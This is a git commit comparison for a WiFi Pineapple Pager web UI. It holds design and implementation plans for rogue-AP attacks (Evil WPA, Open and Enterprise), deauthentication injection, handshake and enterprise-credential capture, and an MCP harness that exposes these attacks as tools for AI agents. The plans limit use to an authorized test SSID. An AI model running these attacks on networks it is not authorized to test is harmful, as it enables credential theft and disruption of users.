Compare commits
50
Commits
62a5c3430f
...
v1.2
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
52f9f6ecd5 | ||
|
|
32282af1d8 | ||
|
|
6927baf51f | ||
|
|
aaa148fb30 | ||
|
|
8befe45de5 | ||
|
|
53e995d5a7 | ||
|
|
66a62ce234 | ||
|
|
8bd560f8e9 | ||
|
|
13ca4bd9cb | ||
|
|
0ecd8c3135 | ||
|
|
1be93bc24b | ||
|
|
f6b4cadc39 | ||
|
|
d7ef0624f4 | ||
|
|
84ce19b2b3 | ||
|
|
c9a89f1303 | ||
|
|
71fcbf1168 | ||
|
|
9ce4f5dc8e | ||
|
|
2044f08f1e | ||
|
|
e93359fb69 | ||
|
|
72f6a68897 | ||
|
|
6a56db3fef | ||
|
|
2d8ece9f3a | ||
|
|
e1eba04775 | ||
|
|
41b3c849ee | ||
|
|
152178ce82 | ||
|
|
1327bec03c | ||
|
|
1d807a1fcf | ||
|
|
1d836f57c6 | ||
|
|
ce1f6a8442 | ||
|
|
4c5b459f72 | ||
|
|
b5d9ed39ff | ||
|
|
c91d970a41 | ||
|
|
adfe8f784f | ||
|
|
4ce19693d1 | ||
|
|
d10fba9d1b | ||
|
|
0cd9956c4c | ||
|
|
d5506e2aaf | ||
|
|
e871e49466 | ||
|
|
f31b38d1fa | ||
|
|
c33d5d01f3 | ||
|
|
603e249999 | ||
|
|
2533f68d70 | ||
|
|
1d063695fa | ||
|
|
a4285496fb | ||
|
|
2ff0c4d320 | ||
|
|
01c84caaaa | ||
|
|
63fa5ae94a | ||
|
|
38ef4e8d0a | ||
|
|
740348067a | ||
|
|
78424b4a35 |
@@ -100,6 +100,26 @@ terminal I/O, and reboot persistence.
|
||||
- `www/` — vanilla JS SPA (no build step) + bundled xterm.js.
|
||||
- `payload.sh` + `pagerwebui.init` — Nautilus-style installer / procd service.
|
||||
|
||||
## Stability notes (Pager 24.10.1)
|
||||
|
||||
pineapd crash sources found and fixed on this firmware (verified on-device,
|
||||
zero crashes over sustained watches):
|
||||
|
||||
1. **SSID-pool broadcast** — segfaults pineapd (~15s cadence). Kept disabled.
|
||||
2. **wlan2mon** — a 6GHz monitor this hardware never creates; hopping the
|
||||
missing iface segfaults pineapd. Disabled.
|
||||
3. **Large refilled pool** — the pool list itself crashes pineapd even with
|
||||
broadcast disabled. The health monitor clears it (collect refills).
|
||||
4. **wlan1mon fast-hopping 6GHz** — stalls pineapd's command socket; the
|
||||
stock daemon's watchdog then SIGTERMs pineapd every ~30s. Bands pinned
|
||||
to 5GHz (2.4GHz only on wlan0mon).
|
||||
5. **Socket collisions** — actively pinging pineapd from a health monitor
|
||||
collides with the stock daemon's own socket writes. The monitor now
|
||||
checks `pidof` only.
|
||||
|
||||
`GET /api/health` reports pineapd/monitor state; the top bar shows a
|
||||
PINEAP OK / POOL OFF / PINEAPD DOWN chip.
|
||||
|
||||
## Security notes
|
||||
|
||||
- Auth via device password validated against the daemon; HttpOnly session
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
# Attacks + Sync + Harness Implementation Plan
|
||||
|
||||
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||||
|
||||
**Goal:** Ship a trustworthy Mark VIII: one-click Evil WPA/Open/Enterprise attacks, device-truth state sync with a pineapd health monitor, and an on-device MCP harness.
|
||||
|
||||
**Architecture:** Extend the existing single-file `server.py` (pure-socket HTTP/JSON, no deps — the device python3 has no pip) with attack orchestration, a health-monitor thread, UCI-truth state reads, and a Streamable-HTTP MCP endpoint. Extend the vanilla-JS SPA (`www/js/views.js`, `app.js`) with an Attacks section and a Harness page. Tests are stdlib `unittest` with module-level monkeypatching (`tests/test_*.py`), run one module per process.
|
||||
|
||||
**Tech Stack:** Python 3.11 (stdlib only), vanilla JS, UCI (`uci show/set`), daemon unix-socket API (`/tmp/api.sock`), `hak5cmd`/`_pineap`, `iw`, `logread`, `hcxpcapngtool` (on device), MCP Streamable HTTP (2025-06-18).
|
||||
|
||||
## Global Constraints
|
||||
|
||||
- No new Python deps; no pip; device python3-light-compatible (no urllib/http.server/sqlite3 stdlib).
|
||||
- Truth = device state (UCI `/etc/config/wireless`, `/etc/config/pineapd`, `iw dev`, live pineapd socket), never UI cache.
|
||||
- Attacks only against `<authorized-test-ssid>` (authorized). No deauth blasts; band-aware inject only.
|
||||
- SSID pool broadcast stays disabled (stock SIGSEGV bug).
|
||||
- Writes must be verified by re-read before success is reported.
|
||||
- Follow existing code style: `device_run()`, `daemon_sock_call()`, `_daemon_proxy()` helpers; `h()` DOM helper in views; routes registered with `ROUTER.add`.
|
||||
- Tests: `python3 -m unittest tests.test_<module>` (one module per process).
|
||||
|
||||
## File Structure
|
||||
|
||||
- `payload/user/remote_access/pager-webui/server.py` — all backend: attacks API, health monitor, truth reads, MCP endpoint.
|
||||
- `payload/user/remote_access/pager-webui/www/js/views.js` — Attacks + Harness views.
|
||||
- `payload/user/remote_access/pager-webui/www/js/app.js` — routes + side-menu items.
|
||||
- `payload/user/remote_access/pager-webui/www/css/app.css` — small additions for launchers.
|
||||
- `tests/test_attacks.py`, `tests/test_health.py`, `tests/test_mcp.py`, `tests/test_getap.py` — new tests.
|
||||
- `scripts/harness_stdio.py` — optional stdio MCP wrapper for stdio-only agents.
|
||||
|
||||
---
|
||||
|
||||
### Task 1: Backend truth reads — `get_ap` dual-radio + enterprise + mode derivation
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py` (h_pineap_wifi_get_ap, h_pineap_mode_get)
|
||||
|
||||
**Interfaces:**
|
||||
- Produces: `GET /api/pineap/wifi/get_ap` → `{open: {...radio0...}, wpa: {...radio0...}, radio1_open: {...}, radio1_wpa: {...}, enterprise: {enabled, ssid, enctype, key}, pool: {...}, radios: {radio0: {band,channel,...}, radio1: {...}}}`
|
||||
- Produces: `GET /api/pineap/mode` → mode derived from live state; never `"unknown"` when `pineap_disabled`/`autossidpool` readable.
|
||||
|
||||
- [ ] **Step 1:** Rework `h_pineap_wifi_get_ap` to read all three AP pairs from UCI (wlan0open/wlan0wpa on radio0, wlan1open/wlan1wpa on radio1, wlan0ent enterprise) and return them as separate objects; include radio device info per radio.
|
||||
- [ ] **Step 2:** Rework `h_pineap_mode_get`: derive mode = `advanced` if `autossidpool is False` or engine mismatch with preset; `passive`/`active` from stored preset ONLY when consistent with live `enabled`+`collect`+`advertise`; else `advanced` (never `unknown`).
|
||||
- [ ] **Step 3:** Update `tests/test_pineap_modes.py` + new `tests/test_getap.py` for the new shapes; run all test modules; commit.
|
||||
|
||||
### Task 2: Attack orchestration backend
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py` (new handlers + ROUTER.add)
|
||||
- Test: `tests/test_attacks.py`
|
||||
|
||||
**Interfaces:**
|
||||
- `POST /api/attacks/deploy` body `{kind: 'wpa'|'open'|'enterprise', ...fields}` → applies UCI + daemon, returns `{ok, verified: bool, detail}`
|
||||
- `POST /api/attacks/stop` body `{kind}` → disables AP(s), resumes hop, returns `{ok, verified}`
|
||||
- `GET /api/attacks/status` → per-kind `{active, ssid, iface, channel, band, live (iw dev check), handshakes: n}`
|
||||
- `GET /api/attacks/handshakes` (reuse `h_handshakes_get`), `GET /api/attacks/hc22000` → runs `hcxpcapngtool -o` on captured pcap(s) into `/root/loot/hc22000/` and returns download
|
||||
- `POST /api/attacks/deauth` `{bssid, client, band}` → band-aware inject: 2.4 → `_pineap INTERFACE INJECT wlan0mon` then `PINEAPPLE_DEAUTH_CLIENT`; 5/6 → `wlan1mon`
|
||||
- `POST /api/attacks/enterprise` toggles PineAPE (`pineape_disabled`, `pineape_auth_pass`)
|
||||
|
||||
- [ ] **Step 1:** Write failing tests for deploy/stop/status/deauth (mock `device_run`, `daemon_sock_call`, `hak5`).
|
||||
- [ ] **Step 2:** Implement handlers; verify tests pass; commit.
|
||||
|
||||
### Task 3: Health monitor + stabilization
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py` (thread + helpers)
|
||||
- Test: `tests/test_health.py`
|
||||
|
||||
**Interfaces:**
|
||||
- `health_check()` — `_pineap PING`; on failure twice in a row: count SIGSEGV in `logread`; if growing → `uci set pineapd.@ssidpool[0].disable=1`, restart pineapd; bring `wlan1mon` up (`ip link set wlan1mon up`) if `iw dev` shows it down; only one fix action per interval (cooldown 20s).
|
||||
- `start_health_monitor()` — daemon thread every 15s, started on server boot.
|
||||
- `GET /api/health` → `{pineap: 'up'|'down', sigsegv_count, pool_disabled, wlan1mon_up, last_action, fixes: n}`
|
||||
|
||||
- [ ] **Step 1:** Failing tests for health logic (mock `device_run`, `hak5`).
|
||||
- [ ] **Step 2:** Implement; verify on-device that SIGSEGV count stops climbing; commit.
|
||||
|
||||
### Task 4: Attacks UI
|
||||
|
||||
**Files:**
|
||||
- Modify: `www/js/views.js` (3 launchers + shared shell), `www/js/app.js` (routes + menu), `www/css/app.css`
|
||||
|
||||
**Interfaces:**
|
||||
- Menu: `Attacks` (icon `attack`) → `#/attacks` with tabs `#/attacks/wpa`, `#/attacks/open`, `#/attacks/enterprise`.
|
||||
- Each launcher: fields + Deploy/Stop + status card (live from `/api/attacks/status`) + handshake/cred table + export buttons + deauth table of target clients.
|
||||
|
||||
- [ ] **Step 1:** Implement shared launcher shell + Evil WPA page (deploy/stop/status/export/deauth).
|
||||
- [ ] **Step 2:** Evil Open page; Evil Enterprise page (creds table + clear + toggles).
|
||||
- [ ] **Step 3:** Wire routes + menu; manual browser smoke test against device; commit.
|
||||
|
||||
### Task 5: MCP harness server + Harness UI
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py` (`/mcp` endpoint)
|
||||
- Create: `scripts/harness_stdio.py`
|
||||
- Modify: `www/js/views.js`, `www/js/app.js` (Harness page)
|
||||
|
||||
**Interfaces:**
|
||||
- `POST /mcp` — Streamable HTTP MCP: `initialize`, `notifications/initialized` (202), `tools/list`, `tools/call`, `resources/list`, `resources/read`, `prompts/list`, `prompts/get`; JSON responses; session cookie auth + Origin validation.
|
||||
- Tools wrap Task 1/2 endpoints + `recon.query` (sqlite3 CLI read-only) + `loot.*`.
|
||||
- Resources: recon tables, handshake files, skill markdown (bundled copies of pineapple-control/wifi-deauth/aircrack-suite), loot listing.
|
||||
- Prompts: `evil-wpa-playbook`, `evil-enterprise-playbook`, `recon-playbook`.
|
||||
- `GET /api/harness/capabilities` → human-readable capability doc for the UI page.
|
||||
|
||||
- [ ] **Step 1:** Failing tests for MCP JSON-RPC dispatch (`tests/test_mcp.py`).
|
||||
- [ ] **Step 2:** Implement `/mcp` + capabilities endpoint; tests pass; commit.
|
||||
- [ ] **Step 3:** Harness UI page (endpoint info, config snippets, capability explorer, pi.dev prompt generator); commit.
|
||||
|
||||
### Task 6: Deploy + on-device verification
|
||||
|
||||
- [ ] **Step 1:** Run full test suite locally (each module separately).
|
||||
- [ ] **Step 2:** Deploy via `./scripts/deploy.sh --password '<device-password>'`.
|
||||
- [ ] **Step 3:** On-device smoke: login, status, health endpoint, attacks deploy/stop round-trip (Evil WPA on 2.4GHz with `<authorized-test-ssid>` SSID — no deauth), enterprise deploy/stop, MCP `initialize`+`tools/list` via curl.
|
||||
- [ ] **Step 4:** Leave device in clean state (no active attacks, hop resumed, pool disabled, wlan1mon up).
|
||||
@@ -0,0 +1,179 @@
|
||||
# Encryption Landscape Card — Ring + Key Redesign Implementation Plan
|
||||
|
||||
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||||
|
||||
**Goal:** Replace the Encryption Landscape recon card's text headline + clipped canvas legend with a full-size plain-hole ring graph and a wrapping HTML legend (dot + label + count per encryption bucket).
|
||||
|
||||
**Architecture:** Single-file client-side change: the recon view in `views.js` drops the `encValue`/`encSub` text nodes, draws the doughnut with `legend:false` and a taller height, and populates a new HTML legend container from the existing `encCounts` bucket map. `chart.js`'s `MiniChart.doughnut` is unchanged (its canvas `legend` option is simply no longer used by the enc card). CSS adds flex-wrap legend styles.
|
||||
|
||||
**Tech Stack:** Vanilla JS (no framework), canvas via `MiniChart.doughnut` in `chart.js`, plain CSS in `app.css`. Device deploy via `scripts/deploy.sh --password '<device-password>'`. Tests: none exist for the frontend; verification is via the deployed device + backend test suite (must stay green).
|
||||
|
||||
## Global Constraints
|
||||
|
||||
- Do not alter data source, `reconEncBucket`, per-scan bucketing, re-sync, or the other four recon cards.
|
||||
- Legend entries: colored dot + label + count, format `● WPA2 54`; buckets with zero APs hidden.
|
||||
- Ring center hole stays plain (no text).
|
||||
- Keep `MiniChart.doughnut`'s `legend` option in `chart.js` (used by no caller after this change, but harmless).
|
||||
- Empty state text stays "No encryption data yet — run a scan."
|
||||
- No comments added to code unless already present in the surrounding style.
|
||||
- Deploy and verify on the device; backend `tests/` suite must stay green (291 tests).
|
||||
|
||||
---
|
||||
|
||||
### Task 1: Ring + HTML legend for Encryption Landscape card
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/www/js/views.js:1497-1507` (card markup)
|
||||
- Modify: `payload/user/remote_access/pager-webui/www/js/views.js:2256-2322` (drawCharts enc block)
|
||||
- Modify: `payload/user/remote_access/pager-webui/www/css/app.css` (after line 328)
|
||||
- Test: none (frontend); verify via device sweep
|
||||
|
||||
**Interfaces:**
|
||||
- Consumes: `RECON_ENC_BUCKETS` (6 names, `views.js:852`), `RECON_ENC_COLORS` (6 colors, `views.js:851`), `encCounts` object `{bucketName: count}`, `reconEncBucket(a.encryption)`.
|
||||
- Produces: DOM `div#recon-enc-legend` under the enc card body, populated by `drawCharts`; `canvas#recon-encryption` redrawn with `{ legend: false, height: 120 }`. `encValue`/`encSub` variables are removed.
|
||||
|
||||
- [ ] **Step 1: Edit the enc card markup in views.js**
|
||||
|
||||
Replace lines 1497-1507:
|
||||
|
||||
```js
|
||||
const encBody = titleCard('Encryption Landscape', null);
|
||||
const encValue = h('div', { class: 'recon-card-value', text: '—' });
|
||||
const encSub = h('div', { class: 'recon-card-sub', text: '' });
|
||||
encBody.appendChild(encValue);
|
||||
encBody.appendChild(encSub);
|
||||
const encBox = h('div', { class: 'recon-chart-box' });
|
||||
encBody.appendChild(encBox);
|
||||
const encCanvas = h('canvas', { id: 'recon-encryption' });
|
||||
encBox.appendChild(encCanvas);
|
||||
const encEmpty = h('div', { class: 'recon-no-data', text: 'No encryption data yet — run a scan.' });
|
||||
encBox.appendChild(encEmpty);
|
||||
```
|
||||
|
||||
with:
|
||||
|
||||
```js
|
||||
const encBody = titleCard('Encryption Landscape', null);
|
||||
const encBox = h('div', { class: 'recon-chart-box' });
|
||||
encBody.appendChild(encBox);
|
||||
const encCanvas = h('canvas', { id: 'recon-encryption' });
|
||||
encBox.appendChild(encCanvas);
|
||||
const encEmpty = h('div', { class: 'recon-no-data', text: 'No encryption data yet — run a scan.' });
|
||||
encBox.appendChild(encEmpty);
|
||||
const encLegend = h('div', { class: 'recon-enc-legend' });
|
||||
encBody.appendChild(encLegend);
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Remove the enc text-headline computation in drawCharts**
|
||||
|
||||
Replace lines 2256-2266 (the `encCounts` loop stays — only the `topEnc` block goes):
|
||||
|
||||
```js
|
||||
let topEnc = null, topEncN = 0;
|
||||
Object.keys(encCounts).forEach((k) => {
|
||||
if (encCounts[k] > topEncN) { topEnc = k; topEncN = encCounts[k]; }
|
||||
});
|
||||
encValue.textContent = topEnc || '—';
|
||||
encSub.textContent = topEnc ? topEncN + ' of ' + n + ' APs' : '';
|
||||
```
|
||||
|
||||
with nothing (delete those lines). The `encCounts` computation immediately above must remain.
|
||||
|
||||
- [ ] **Step 3: Rewrite the enc chart block in drawCharts**
|
||||
|
||||
Replace lines 2308-2322:
|
||||
|
||||
```js
|
||||
const enc = document.getElementById('recon-encryption');
|
||||
if (enc && typeof MiniChart !== 'undefined' && MiniChart.doughnut) {
|
||||
try {
|
||||
if (aps.length) {
|
||||
MiniChart.doughnut(enc, RECON_ENC_BUCKETS.map((k, i) => ({
|
||||
label: k, value: encCounts[k] || 0, color: RECON_ENC_COLORS[i]
|
||||
})), { legend: true, height: 66 });
|
||||
enc.classList.remove('hidden');
|
||||
encEmpty.classList.add('hidden');
|
||||
} else {
|
||||
enc.classList.add('hidden');
|
||||
encEmpty.classList.remove('hidden');
|
||||
}
|
||||
} catch (e) {}
|
||||
}
|
||||
```
|
||||
|
||||
with:
|
||||
|
||||
```js
|
||||
const enc = document.getElementById('recon-encryption');
|
||||
if (enc && typeof MiniChart !== 'undefined' && MiniChart.doughnut) {
|
||||
try {
|
||||
if (aps.length) {
|
||||
MiniChart.doughnut(enc, RECON_ENC_BUCKETS.map((k, i) => ({
|
||||
label: k, value: encCounts[k] || 0, color: RECON_ENC_COLORS[i]
|
||||
})), { legend: false, height: 120 });
|
||||
enc.classList.remove('hidden');
|
||||
encEmpty.classList.add('hidden');
|
||||
} else {
|
||||
enc.classList.add('hidden');
|
||||
encEmpty.classList.remove('hidden');
|
||||
}
|
||||
} catch (e) {}
|
||||
}
|
||||
const encLegend = document.getElementById('recon-enc-legend');
|
||||
if (encLegend) {
|
||||
encLegend.innerHTML = '';
|
||||
RECON_ENC_BUCKETS.forEach((k, i) => {
|
||||
const c = encCounts[k] || 0;
|
||||
if (!c) return;
|
||||
const entry = h('div', { class: 'recon-enc-entry' });
|
||||
const dot = h('span', { class: 'recon-enc-dot' });
|
||||
dot.style.background = RECON_ENC_COLORS[i];
|
||||
entry.appendChild(dot);
|
||||
entry.appendChild(h('span', { class: 'recon-enc-label', text: k }));
|
||||
entry.appendChild(h('span', { class: 'recon-enc-count', text: String(c) }));
|
||||
encLegend.appendChild(entry);
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
- [ ] **Step 4: Add the legend CSS to app.css**
|
||||
|
||||
Insert after line 328 (the `.recon-no-data` rule):
|
||||
|
||||
```css
|
||||
.recon-enc-legend { display: flex; flex-wrap: wrap; gap: 2px 10px; margin-top: 4px; align-items: baseline; }
|
||||
.recon-enc-entry { display: inline-flex; align-items: center; gap: 5px; font-size: 11px; color: var(--text); }
|
||||
.recon-enc-dot { width: 8px; height: 8px; border-radius: 50%; flex: 0 0 auto; }
|
||||
.recon-enc-label { color: var(--muted); }
|
||||
.recon-enc-count { font-weight: 600; color: var(--text); font-variant-numeric: tabular-nums; }
|
||||
```
|
||||
|
||||
- [ ] **Step 5: Syntax check both JS files**
|
||||
|
||||
Run: `node --check payload/user/remote_access/pager-webui/www/js/views.js`
|
||||
Run: `node --check payload/user/remote_access/pager-webui/www/js/chart.js`
|
||||
Expected: exit 0, no output.
|
||||
|
||||
- [ ] **Step 6: Run the backend test suite**
|
||||
|
||||
Run: `cd <repo> && python3 -m pytest tests/ -q 2>&1 | tail -3`
|
||||
Expected: `291 passed` (or the current passing count) — no regressions from unrelated files.
|
||||
|
||||
- [ ] **Step 7: Deploy to the device**
|
||||
|
||||
Run: `cd <repo> && ./scripts/deploy.sh --password '<device-password>'`
|
||||
Expected: deploy completes with `EXTRACT_OK` / success output.
|
||||
|
||||
- [ ] **Step 8: Verify the enc card on the device**
|
||||
|
||||
Recreate the CDP venv if absent (`python3 -m venv /tmp/cdpenv2 && /tmp/cdpenv2/bin/pip install -q websocket-client`), then drive headless Chrome against http://<device-ip>:8080 (login `<device-password>`, go to `#/recon`, wait ~20s) and assert:
|
||||
1. `document.getElementById('recon-encryption')` canvas has non-zero `width` attribute and the card is visible (not `.hidden`).
|
||||
2. `document.getElementById('recon-enc-legend')` contains entries whose text matches `/WPA2/` and `/\d+/`, and no `recon-card-value` element exists inside the enc card.
|
||||
3. Zero `Runtime.exceptionThrown` events.
|
||||
Expected: all three pass; screenshots unavailable, text-state assertions only.
|
||||
|
||||
- [ ] **Step 9: Commit**
|
||||
|
||||
```bash
|
||||
cd <repo> && git add payload/user/remote_access/pager-webui/www/js/views.js payload/user/remote_access/pager-webui/www/css/app.css && git commit -m "ui: encryption landscape card — ring + HTML legend with counts"
|
||||
```
|
||||
@@ -0,0 +1,102 @@
|
||||
# Mark VIII Night Sprint — Attacks, Sync, Harness
|
||||
|
||||
Date: 2026-08-18
|
||||
Status: Approved (user: "Approved, go build")
|
||||
|
||||
## Problem
|
||||
|
||||
The Mark VIII web UI (Pager firmware `Pineapple Pager 24.10.1`) is rough and
|
||||
desyncs from the device. Interrogation (2026-08-18, live device `172.16.52.1`)
|
||||
found:
|
||||
|
||||
1. **pineapd crash-loop**: 34+ `SIGSEGV`s in logread; stock daemon restarts
|
||||
pineapd every ~30s. Root cause: SSID-pool broadcast (68 SSIDs, `disable='0'`)
|
||||
segfaults pineapd; `wlan1mon` repeatedly fails to come up
|
||||
("That device is not up" / "interface sysfs directory does not exist" every 5s).
|
||||
2. **State desync**: `GET /api/pineap/mode` returns `mode: "unknown"` while the
|
||||
device is effectively Active; mode is a UI-stored preference, never derived
|
||||
from live state.
|
||||
3. **Wrong-band AP cards**: `get_ap` reads radio1 (`wlan1wpa`/`wlan1open`)
|
||||
whenever those UCI sections exist (even disabled leftovers), so the 2.4GHz
|
||||
Evil WPA card silently shows 5GHz state.
|
||||
4. **Evil Enterprise is dead code**: `views.pineap_enterprise` exists but has no
|
||||
route in `app.js` routes map and no tab.
|
||||
5. **Fire-and-forget writes**: UI toasts success without verifying device state.
|
||||
6. **Hop hygiene**: radio1-AP feature pauses `wlan1mon` hop and leaves it paused
|
||||
with leftover AP sections.
|
||||
|
||||
## Research findings (verified on device)
|
||||
|
||||
- Enterprise AP recipe: create `wireless.wlan0ent` (device `radio0`, mode `ap`,
|
||||
encryption `wpa2`, key = passphrase), then
|
||||
`PUT /api/settings/wifi/set_ap` over unix socket `/tmp/api.sock` with
|
||||
`{"configs":[{"interface":"wlan0ent","ssid":...,"enctype":"wpa2",
|
||||
"enabled":true,"key":...,"channel":1}]}`. Result: `wlan0ent` AP live with
|
||||
`ieee8021x=1`, `wpa=2`, `wpa_key_mgmt=WPA-EAP` (PineAPE internal EAP server).
|
||||
Daemon-side hostapd reload is async (poll for iface in `iw dev`).
|
||||
- `hcxpcapngtool`, `tcpdump`, `sqlite3`, `aircrack-ng` present on device.
|
||||
- MCP Streamable HTTP transport (2025-06-18): single endpoint, POST JSON-RPC,
|
||||
respond `application/json` or SSE; Origin validation + auth required.
|
||||
- Daemon unix-socket API (`/tmp/api.sock`) carries `/api/pineap/*`; TCP :1471
|
||||
carries `/api/settings/*` and `/api/login`.
|
||||
|
||||
## Design
|
||||
|
||||
### Phase 1 — Attacks (top-level menu item)
|
||||
|
||||
New side-menu section **Attacks** with three launchers:
|
||||
|
||||
- **Evil WPA (PSK)**: SSID, passphrase, enctype (psk2/sae/owe), band+channel
|
||||
(2.4 → `wlan0wpa`, 5/6 → `wlan1wpa` via radio1 feature), hidden. Deploy =
|
||||
UCI write + hop pause + `wifi reload` + PineAP response engine + karma on +
|
||||
handshake logging on. Stop = disable AP + hop resume. Live AP status from
|
||||
`iw dev`/UCI (never UI cache), live handshake table (`hostap_handshake`),
|
||||
**Export .hc22000** (on-device `hcxpcapngtool`) + hashcat command, per-client
|
||||
deauth with band-aware inject interface.
|
||||
- **Evil Open**: same shape for `wlan0open` / radio1 open AP.
|
||||
- **Evil Enterprise**: SSID, encryption (wpa2/wpa3 enterprise), passphrase.
|
||||
Deploy = verified recipe above + PineAPE on + auth-pass capture on. Live cred
|
||||
tables (`hostap_basic`, `hostap_chalresp`) with Clear.
|
||||
|
||||
All three: verification banner ("applied & verified" vs "device state differs"),
|
||||
Stop button, and a post-write poll (UCI + `iw dev`) before success toast.
|
||||
|
||||
### Phase 2 — Stabilize + sync
|
||||
|
||||
- SSID pool broadcast disabled on deploy of this build; server-side health
|
||||
monitor: `_pineap PING` every 15s; two failures → check SIGSEGV growth in
|
||||
logread → disable pool, restart pineapd, `ip link set wlan1mon up`.
|
||||
- Mode derived from live `enabled` + `collect` + `advertise`; never "unknown"
|
||||
when state is readable.
|
||||
- `get_ap` returns `radio0` + `radio1` + `enterprise` APs as separate objects.
|
||||
- All writes verified by re-read; success only on match.
|
||||
- Hop resumed when no radio1 AP active; leftover radio1 sections reported.
|
||||
|
||||
### Phase 3 — Local Harness (MCP)
|
||||
|
||||
- `POST /mcp` on server.py: Streamable HTTP MCP server (JSON-RPC 2.0, pure
|
||||
socket, no deps), auth via session cookie/Bearer + Origin validation.
|
||||
- Tools: `recon.query`, `attack.deploy_evil_wpa` / `deploy_evil_open` /
|
||||
`deploy_evil_enterprise` / `stop_attack`, `attack.deauth`,
|
||||
`attack.capture`, `loot.handshakes`, `loot.export_hc22000`,
|
||||
`loot.enterprise_creds`, `device.state`, `pineap.set_filter`,
|
||||
`pineap.kick_client`.
|
||||
- Resources: recon DB tables (ssid, wifi_device, handshake, hostap_handshake,
|
||||
hostap_basic, hostap_chalresp), handshake files, loot listing, and the
|
||||
opencode skills (pineapple-control, wifi-deauth, aircrack-suite) as
|
||||
markdown resources.
|
||||
- Prompts: attack playbooks (evil-wpa, evil-enterprise, recon).
|
||||
- **Harness UI page**: endpoint + client config snippets (opencode/Claude/
|
||||
Cursor), capability explorer, "prompt for pi.dev" generator, live state
|
||||
snapshot.
|
||||
- Optional stdio wrapper `scripts/harness_stdio.py` for stdio-only agents.
|
||||
|
||||
## Constraints
|
||||
|
||||
- Authorized target: `<authorized-test-ssid>` only (intermittent). Non-client
|
||||
environment; no deauth blasts; verify on-wire via monitor capture when needed.
|
||||
- SSID pool stays disabled (stock bug; re-enabling re-crashes pineapd).
|
||||
|
||||
## Out of scope
|
||||
|
||||
`1471` takeover, Cloud C2, campaigns, physical display mirroring.
|
||||
@@ -0,0 +1,123 @@
|
||||
# Mark VIII UI Hardening + Recon Polish — Design
|
||||
|
||||
Date: 2026-08-18
|
||||
Status: Approved in advance by user (auto-approve; user unavailable for review)
|
||||
|
||||
## Context
|
||||
|
||||
Mark VIII (web UI for the WiFi Pineapple Pager) has been through major dev
|
||||
changes. The user runs a live test tomorrow and needs the UI rock solid.
|
||||
Verified on device:
|
||||
|
||||
- MCP server works: `tools/list` returns 16 tools; `device.state`,
|
||||
`recon.aps` respond correctly.
|
||||
- API endpoints used by the Recon "Actions" buttons work
|
||||
(`/api/recon/examine`, `/api/pineap/set_config`).
|
||||
- Recon detail endpoint is slow (~1.5 s) and can 503 when the sqlite DB is
|
||||
busy; the UI swallows errors silently and can stay blank.
|
||||
|
||||
## Findings
|
||||
|
||||
1. **Recon top cards (5)**: equal 200 px cards with 20 px titles, centered
|
||||
content, charts sized for wide cards. "Previous Scans" crams 5 icon
|
||||
buttons + a 50+-option select into a ~220 px card → buttons stack into
|
||||
three rows. "Channel Distribution" bar chart is unreadable at card width.
|
||||
Handshakes toggle text wraps awkwardly.
|
||||
2. **Channel map**: canvas lobes render but have zero interactivity — no way
|
||||
to see which networks are under the cursor.
|
||||
3. **Focus sidebar Actions**: "Capture WPA Handshakes" / "Stop Handshake
|
||||
Capture" / "Examine BSSID" / "Examine Channel" work at the API level but
|
||||
give weak feedback; there is no path from a recon target to the PineAP
|
||||
evil-twin form.
|
||||
4. **Robustness**: `loadDetail()` in the recon view swallows render/network
|
||||
errors with `.catch(() => {})`; if rendering throws after `detailId` is
|
||||
set, the page stays blank forever (guard short-circuits). `load()` has no
|
||||
pending guard → overlapping polls. `hsAuto` (loghandshake) checkbox is
|
||||
only synced at view creation — it drifts from the pager's own settings
|
||||
when changed elsewhere (pager UI / another browser).
|
||||
|
||||
## Changes
|
||||
|
||||
### 1. Recon title cards — redesign (`views.js` + `app.css`)
|
||||
|
||||
New card anatomy (all five consistent):
|
||||
- Compact header: 12 px uppercase muted title (clickable where it links).
|
||||
- Primary value: 28 px bold.
|
||||
- Sub-line: 12 px muted context text.
|
||||
- Optional mini chart: fixed 96 px tall.
|
||||
|
||||
Cards (`flex: 1 1 0; min-width: 170px; height: 190px` — five fit one row
|
||||
even in a ~1000 px pane):
|
||||
1. **Wireless Landscape** — value: total networks (APs); sub: "N clients ·
|
||||
M unassociated"; mini doughnut (APs/Clients/Unassociated).
|
||||
2. **Channel Distribution** — value: busiest channel "CH 6"; sub: "N of K
|
||||
APs on CH 6 · channels seen"; mini bar chart of channel counts.
|
||||
3. **Encryption Landscape** — value: top encryption bucket; sub: "N of K
|
||||
APs"; mini doughnut of buckets.
|
||||
4. **Handshakes** — value: handshake count (links to
|
||||
`#/recon/handshakes`); sub: "captured"; auto-collect toggle (restyled).
|
||||
5. **Previous Scans** — value: scan count; sub: latest scan start time;
|
||||
compact select row + single row of icon buttons.
|
||||
|
||||
Empty states get copy that matches the card ("No landscape data yet —
|
||||
run a scan").
|
||||
|
||||
### 2. Channel map hover (`chart.js` + `views.js` + `app.css`)
|
||||
|
||||
- `MiniChart.channelMap` records per-lobe geometry on the canvas:
|
||||
`canvas.__reconLobes = [{ ap, cx, half, topPx, basePx }]` (CSS px).
|
||||
- `views.js` attaches `mousemove`/`mouseleave`/`click` to the map canvas:
|
||||
- hit test: `t=(mx-cx)/half`, lift = `0.5+0.5·cos(πt)`, hovered if
|
||||
`my >= basePx - lift·peakPx - 4` and `my <= basePx + 8`;
|
||||
- tooltip div (absolute, inside `.recon-map-box`) lists every network
|
||||
under the cursor: SSID/MAC/channel/freq/signal/encryption/vendor;
|
||||
- click pins the tooltip until the next move or click;
|
||||
- `mouseleave` hides it.
|
||||
